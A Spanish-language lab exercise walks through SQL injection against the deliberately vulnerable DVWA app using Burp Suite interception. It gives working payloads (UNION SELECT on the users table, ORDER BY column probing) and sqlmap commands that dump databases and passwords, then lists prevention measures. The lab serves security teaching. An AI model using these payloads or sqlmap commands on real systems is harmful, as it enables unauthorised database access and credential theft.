Saltar a contenido

Práctica 04.-Ejecución de inyección SQL con BurpSuite

Ataque de Inyección SQL en DVWA usando Burp Suite

En esta práctica, realizarás un ataque de inyección SQL (SQLi) en la funcionalidad "SQL Injection" de Damn Vulnerable Web Application (DVWA) utilizando Burp Suite. Este tipo de vulnerabilidad permite manipular consultas SQL para extraer información de la base de datos, modificar datos o incluso comprometer completamente el sistema.


1. Requisitos Previos

✔️ DVWA ejecutándose en Metasploitable ✔️ Nivel de seguridad configurado en "Low" (DVWA Security → Low) ✔️ Burp Suite instalado y configurado como proxy


2. Configurar Burp Suite como Proxy de Interceptación

1️⃣ Abrir Burp Suite y asegurarse de que el proxy está activado. 2️⃣ Configurar el navegador para que utilice Burp Suite como proxy HTTP.

  • Firefox: Ir a Opciones → Red → Configuración → Proxy Manual
  • Proxy: 127.0.0.1
  • Puerto: 8080 3️⃣ Acceder a DVWA a través del navegador con Burp activado:
http://<IP-METASPLOITABLE>/dvwa

3. Capturar la Petición en la Funcionalidad "SQL Injection"

1️⃣ Ir a la funcionalidad "SQL Injection" en DVWA. 2️⃣ Introducir un número cualquiera en el campo de entrada, por ejemplo: 1. 3️⃣ En Burp Suite, ir a la pestaña "Proxy" → "Intercept" y asegurarse de que la captura está habilitada. 4️⃣ Presionar "Submit" en DVWA para capturar la petición HTTP.

📌 Ejemplo de petición capturada en Burp Suite:

GET /dvwa/vulnerabilities/sqli/?id=1&Submit=Submit HTTP/1.1
Host: <IP-METASPLOITABLE>
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Cookie: security=low; PHPSESSID=123456789abcdef
Connection: close

4. Modificar la Petición para Explorar la Vulnerabilidad SQLi

1️⃣ En la solicitud capturada en Burp Suite, modificar el parámetro id para inyectar código SQL. 2️⃣ Ejemplo de prueba de inyección SQL (comentario -- para evitar errores):

id=1' -- 

3️⃣ Ejemplo para extraer todos los usuarios de la base de datos:

id=1' UNION SELECT user, password FROM users --

4️⃣ Ejemplo para determinar el número de columnas disponibles (ORDER BY):

id=1' ORDER BY 3 -- 

5️⃣ Presionar "Forward" en Burp Suite para enviar la petición modificada al servidor.


5. Automatización del Ataque con sqlmap

También puedes automatizar la extracción de datos utilizando sqlmap, una herramienta especializada en SQL Injection:

🔹 Ejemplo de uso básico:

sqlmap -u "http://<IP-METASPLOITABLE>/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --dbs

🔹 Extraer los nombres de usuario y contraseñas:

sqlmap -u "http://<IP-METASPLOITABLE>/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --dump

6. Prevención del Ataque

🔹 Usar consultas parametrizadas (Prepared Statements). 🔹 Escapar caracteres especiales en las entradas del usuario. 🔹 Implementar listas blancas para validar las entradas permitidas. 🔹 Restringir los permisos de la base de datos para minimizar el impacto de una posible inyección SQL.


7. Conclusión

Usando Burp Suite, has logrado explotar una vulnerabilidad de inyección SQL en DVWA, demostrando cómo un atacante puede manipular consultas SQL para acceder a datos sensibles. Este ataque destaca la importancia de validar y proteger todas las entradas de usuario en las aplicaciones web.

¡Ahora puedes probar con diferentes payloads y practicar técnicas avanzadas de explotación SQLi! 🚀